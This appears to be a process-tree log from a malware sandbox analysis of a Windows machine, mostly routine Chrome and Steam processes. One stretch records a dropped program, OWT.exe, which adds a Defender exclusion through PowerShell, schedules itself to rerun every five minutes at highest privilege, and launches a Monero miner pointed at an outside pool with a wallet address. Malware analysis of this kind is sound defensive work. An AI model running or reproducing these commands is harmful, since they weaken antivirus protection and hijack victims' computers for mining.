C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6424 /prefetch:82⤵PID:4912
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=49 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6504 /prefetch:12⤵PID:1504
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=50 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6368 /prefetch:12⤵PID:2744
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=51 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5512 /prefetch:12⤵PID:2556
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=52 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5940 /prefetch:12⤵PID:216
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=53 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6252 /prefetch:12⤵PID:4264
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5704 /prefetch:82⤵PID:4416
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1632,15242494756467478208,8328643327212592357,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5448 /prefetch:82⤵PID:4596
-
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵PID:2220
-
C:\Windows\SysWOW64\werfault.exewerfault.exe /h /shared Global\2352ed307fcd44a7b38a4c80beb3398e /t 996 /p 7401⤵PID:4444
-
C:\Program Files (x86)\Steam\steam.exe"C:\Program Files (x86)\Steam\steam.exe"1⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Checks processor information in registry
PID:4052 -
C:\Program Files (x86)\Steam\steam.exe"C:\Program Files (x86)\Steam\steam.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:3688 -
C:\Program Files (x86)\Steam\bin\cef\cef.win7x64\steamwebhelper.exe"C:\Program Files (x86)\Steam\bin\cef\cef.win7x64\steamwebhelper.exe" "-lang=en_US" "-cachedir=C:\Users\Admin\AppData\Local\Steam\htmlcache" "-steampid=3688" "-buildid=1668654564" "-steamid=0" "-logdir=C:\Program Files (x86)\Steam\logs" "-composer-mode=0" "-steamuniverse=Public" "-realm=Global" "-clientui=C:\Program Files (x86)\Steam\clientui" --enable-media-stream --enable-smooth-scrolling --enable-direct-write "--log-file=C:\Program Files (x86)\Steam\logs\cef_log.txt" --disable-quick-menu --disable-features=SameSiteByDefaultCookies --enable-blink-features=ResizeObserver,Worklet,AudioWorklet --disable-blink-features=Badging3⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Modifies registry class
PID:1080 -
C:\Program Files (x86)\Steam\bin\cef\cef.win7x64\steamwebhelper.exe"C:\Program Files (x86)\Steam\bin\cef\cef.win7x64\steamwebhelper.exe" --type=crashpad-handler /prefetch:7 --max-uploads=5 --max-db-size=20 --max-db-age=5 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files (x86)\Steam\dumps" "--metrics-dir=C:\Users\Admin\AppData\Local\CEF\User Data" --url=https://crash.steampowered.com/submit --annotation=platform=win64 --annotation=product=cefwebhelper --annotation=version=1668654564 --initial-client-data=0x37c,0x380,0x384,0x33c,0x388,0x7ff8150bf070,0x7ff8150bf080,0x7ff8150bf0904⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:2604
-
-
C:\Program Files (x86)\Steam\bin\cef\cef.win7x64\steamwebhelper.exe"C:\Program Files (x86)\Steam\bin\cef\cef.win7x64\steamwebhelper.exe" --type=gpu-process --field-trial-handle=1664,3731145023458906050,5126928351176499700,131072 --enable-features=CastMediaRouteProvider --disable-features=SameSiteByDefaultCookies --log-file="C:\Program Files (x86)\Steam\logs\cef_log.txt" --product-version="Valve Steam Client" --lang=en-US --buildid=1668654564 --steamid=0 --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --log-file="C:\Program Files (x86)\Steam\logs\cef_log.txt" --mojo-platform-channel-handle=1680 /prefetch:24⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:2892
-
-
C:\Program Files (x86)\Steam\bin\cef\cef.win7x64\steamwebhelper.exe"C:\Program Files (x86)\Steam\bin\cef\cef.win7x64\steamwebhelper.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1664,3731145023458906050,5126928351176499700,131072 --enable-features=CastMediaRouteProvider --disable-features=SameSiteByDefaultCookies --lang=en-US --service-sandbox-type=network --log-file="C:\Program Files (x86)\Steam\logs\cef_log.txt" --product-version="Valve Steam Client" --lang=en-US --buildid=1668654564 --steamid=0 --log-file="C:\Program Files (x86)\Steam\logs\cef_log.txt" --mojo-platform-channel-handle=2180 /prefetch:84⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:4540
-
-
C:\Program Files (x86)\Steam\bin\cef\cef.win7x64\steamwebhelper.exe"C:\Program Files (x86)\Steam\bin\cef\cef.win7x64\steamwebhelper.exe" --type=renderer --log-file="C:\Program Files (x86)\Steam\logs\cef_log.txt" --field-trial-handle=1664,3731145023458906050,5126928351176499700,131072 --enable-features=CastMediaRouteProvider --disable-features=SameSiteByDefaultCookies --enable-blink-features=ResizeObserver,Worklet,AudioWorklet --disable-blink-features=Badging --lang=en-US --log-file="C:\Program Files (x86)\Steam\logs\cef_log.txt" --product-version="Valve Steam Client" --buildid=1668654564 --steamid=0 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --mojo-platform-channel-handle=2504 /prefetch:14⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Checks processor information in registry
PID:3260
-
-
C:\Program Files (x86)\Steam\bin\cef\cef.win7x64\steamwebhelper.exe"C:\Program Files (x86)\Steam\bin\cef\cef.win7x64\steamwebhelper.exe" --type=renderer --log-file="C:\Program Files (x86)\Steam\logs\cef_log.txt" --field-trial-handle=1664,3731145023458906050,5126928351176499700,131072 --enable-features=CastMediaRouteProvider --disable-features=SameSiteByDefaultCookies --disable-gpu-compositing --enable-blink-features=ResizeObserver,Worklet,AudioWorklet --disable-blink-features=Badging --lang=en-US --log-file="C:\Program Files (x86)\Steam\logs\cef_log.txt" --product-version="Valve Steam Client" --buildid=1668654564 --steamid=0 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2764 /prefetch:14⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Checks processor information in registry
PID:3368
-
-
-
C:\Program Files (x86)\Steam\bin\gldriverquery64.exe.\bin\gldriverquery64.exe3⤵
- Executes dropped EXE
PID:1956
-
-
C:\Program Files (x86)\Steam\bin\gldriverquery.exe.\bin\gldriverquery.exe3⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3608
-
-
C:\Program Files (x86)\Steam\bin\vulkandriverquery64.exe.\bin\vulkandriverquery64.exe3⤵
- Executes dropped EXE
PID:4712
-
-
C:\Program Files (x86)\Steam\bin\vulkandriverquery.exe.\bin\vulkandriverquery.exe3⤵
- Executes dropped EXE
PID:2412
-
-
-
C:\ProgramData\winrar\OWT.exeC:\ProgramData\winrar\OWT.exe1⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:1372 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4760
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "OWT" /tr "C:\ProgramData\winrar\OWT.exe"2⤵PID:2244
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "OWT" /tr "C:\ProgramData\winrar\OWT.exe"3⤵
- Creates scheduled task(s)
PID:2920
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1040
-
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x418 0x4d81⤵
- Suspicious use of AdjustPrivilegeToken
PID:1984
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\5829987a36494f76ae7dce3257f9cd44 /t 3168 /p 30321⤵PID:2292
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵PID:1172
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x108,0x10c,0x110,0xe4,0x114,0x7ff822bb4f50,0x7ff822bb4f60,0x7ff822bb4f702⤵PID:2372
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1724,1035862164989568763,4817362431310437550,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1728 /prefetch:82⤵PID:4856
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
PID:3452 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ff822bb4f50,0x7ff822bb4f60,0x7ff822bb4f702⤵PID:1972
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1820 /prefetch:82⤵PID:1580
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2400 /prefetch:82⤵PID:1536
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2800 /prefetch:12⤵PID:1320
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2792 /prefetch:12⤵PID:4280
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1772 /prefetch:22⤵PID:2192
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3796 /prefetch:12⤵PID:4284
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4584 /prefetch:82⤵PID:4632
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4700 /prefetch:82⤵PID:5004
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4844 /prefetch:82⤵PID:920
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4716 /prefetch:82⤵PID:1084
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3260 /prefetch:12⤵PID:3160
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5076 /prefetch:12⤵PID:3656
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4880 /prefetch:12⤵PID:3692
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5732 /prefetch:82⤵PID:2132
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5392 /prefetch:12⤵PID:2560
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5544 /prefetch:12⤵PID:5104
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5652 /prefetch:12⤵PID:4080
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4964 /prefetch:12⤵PID:1888
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4784 /prefetch:82⤵PID:3828
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5396 /prefetch:82⤵PID:4008
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3872 /prefetch:82⤵PID:3508
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5532 /prefetch:82⤵PID:1920
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4872 /prefetch:82⤵PID:2292
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2724 /prefetch:82⤵PID:2276
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=4980 /prefetch:22⤵PID:5028
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2440 /prefetch:82⤵PID:4260
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3932 /prefetch:82⤵PID:4776
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5652 /prefetch:82⤵PID:4456
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5584 /prefetch:82⤵PID:2488
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=31 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2304 /prefetch:12⤵PID:512
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=32 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5196 /prefetch:12⤵PID:4904
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=33 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5412 /prefetch:12⤵PID:4552
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=34 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4620 /prefetch:12⤵PID:4676
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=35 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6020 /prefetch:12⤵PID:4052
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=36 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2216 /prefetch:12⤵PID:1384
-
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵PID:1700
-
C:\Windows\system32\msinfo32.exe"C:\Windows\system32\msinfo32.exe" "C:\Users\Admin\Desktop\UndoMerge.nfo"1⤵
- Checks SCSI registry key(s)
- Enumerates system info in registry
- Suspicious behavior: GetForegroundWindowSpam
PID:4284
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵PID:3212
-
C:\ProgramData\winrar\OWT.exeC:\ProgramData\winrar\OWT.exe1⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:424 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2856
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "OWT" /tr "C:\ProgramData\winrar\OWT.exe"2⤵PID:1992
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "OWT" /tr "C:\ProgramData\winrar\OWT.exe"3⤵
- Creates scheduled task(s)
PID:816
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero2⤵
- Suspicious use of AdjustPrivilegeToken
PID:5068
-
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 424 -s 18162⤵
- Program crash
PID:4028
-
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 432 -p 424 -ip 4241⤵PID:4820
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵PID:4700
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x108,0x10c,0x110,0xe4,0x114,0x7ff822bb4f50,0x7ff822bb4f60,0x7ff822bb4f702⤵PID:4760
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2.7MB
MD52de3f7cf6020b3bb6bc4199459a63016
SHA18a30e5e333a353eb069ab961a4c1918fcbb44623
SHA256f649f4a1d41cd442d5e3f079b1677442a2123eb494bda58ef866870b25915d7e
